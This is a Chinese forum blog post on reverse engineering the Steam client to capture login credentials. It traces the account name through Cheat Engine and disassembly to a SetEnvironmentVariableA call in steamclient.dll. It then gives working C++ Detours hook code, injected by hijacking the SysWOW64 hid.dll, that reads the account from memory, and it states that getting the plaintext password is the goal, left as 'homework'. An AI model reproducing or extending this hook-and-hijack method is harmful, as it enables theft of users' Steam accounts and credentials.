steam逆向
最近观察到租号平台的各种搞笑行为,以及steam的漏洞
在此之下我萌生了一个想法,就是通过api获取steam的登录明文密码
话不多说,由于比较简单,直接CE搞上就可以
首先猜想:点击登录按钮的时候,获取Edit当中的内容
然后利用两个变量储存账号密码,然后登录
我们先获取账号就可以了
然后CE搜索我们的账号,注意不要把UNICODE勾上
挨个排查,这时候大家应该明白了,找访问就OK了
这里就不给大家演示了,最后发现是0833394D这个地址
然后看看是谁改变了这个地址
最后我们找到
KERNELBASE.SetEnvironmentVariableA+84 - FF 15 F889A977 - call dword ptr [KERNELBASE.WakeConditionVariable+50F8] { ->ntdll.RtlSetEnvironmentVariable }
下断点发现是kernel32.SetEnvronmentVariableA调用了他,再次下断点
发现是这样的
steamclient.dll+2F4BCF - 56 - push esi
steamclient.dll+2F4BD0 - 68 845DCA51 - push steamclient.dll+B75D84 { ("SteamUser") }
steamclient.dll+2F4BD5 - FF 15 10F3C051 - call dword ptr [steamclient.dll+ADF310] { ->KERNEL32.SetEnvironmentVariableA }
steamclient.dll+2F4BDB - 5E - pop esi
steamclient.dll+2F4BDC - 5D - pop ebp
steamclient.dll+2F4BDD - C2 0400 - ret 0004 { 4 }
我们看下
KERNEL32.SetEnvironmentVariableA这个函数
得出lpName是SteamUser,就是账号了,lpValue就是esi,看下esi就是
0833394D,储存的就是账号
得出了这些我们就可以写代码来证实下了
这里我们采用使用detours开源库来HOOK
SetEnvironmentVariableA
因为使用的是detours,我们采用的是DLL劫持的方式(这个可以劫持的DLL我找了好久啊,最后在SysWow64的hid.dll是可以劫持的,大家劫持这个就可以)
#include "hook.h"
int pRead = 0;
static BOOL(WINAPI*pSetEnvironmentVariableA)(
LPCSTR lpName,
LPCSTR lpValue
) = SetEnvironmentVariableA;
//test
void ShowBox()
{
//使用指针读取
char user[40], word[40];
memcpy(user, ((void*)pRead), 40);
MessageBoxA(NULL, user, NULL, MB_OK);
}
BOOL WINAPI Hook(LPCSTR lpName,
LPCSTR lpValue)
{
//读取指针
__asm mov pRead, esi;
BOOL bRet = pSetEnvironmentVariableA(lpName, lpValue);
return bRet;
}
//HOOK
void HookON()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)pSetEnvironmentVariableA, &Hook);
DetourTransactionCommit();
}
void HookOFF()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)pSetEnvironmentVariableA, &Hook);
DetourTransactionCommit();
}
我们来测试下
上面打码的是密码奥,不是什么奇奇怪怪的东西,原因是获取密码就给大家当课后作业了,密码的获取要难一些
另外这是我第一次写文章,有问题大家见谅
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课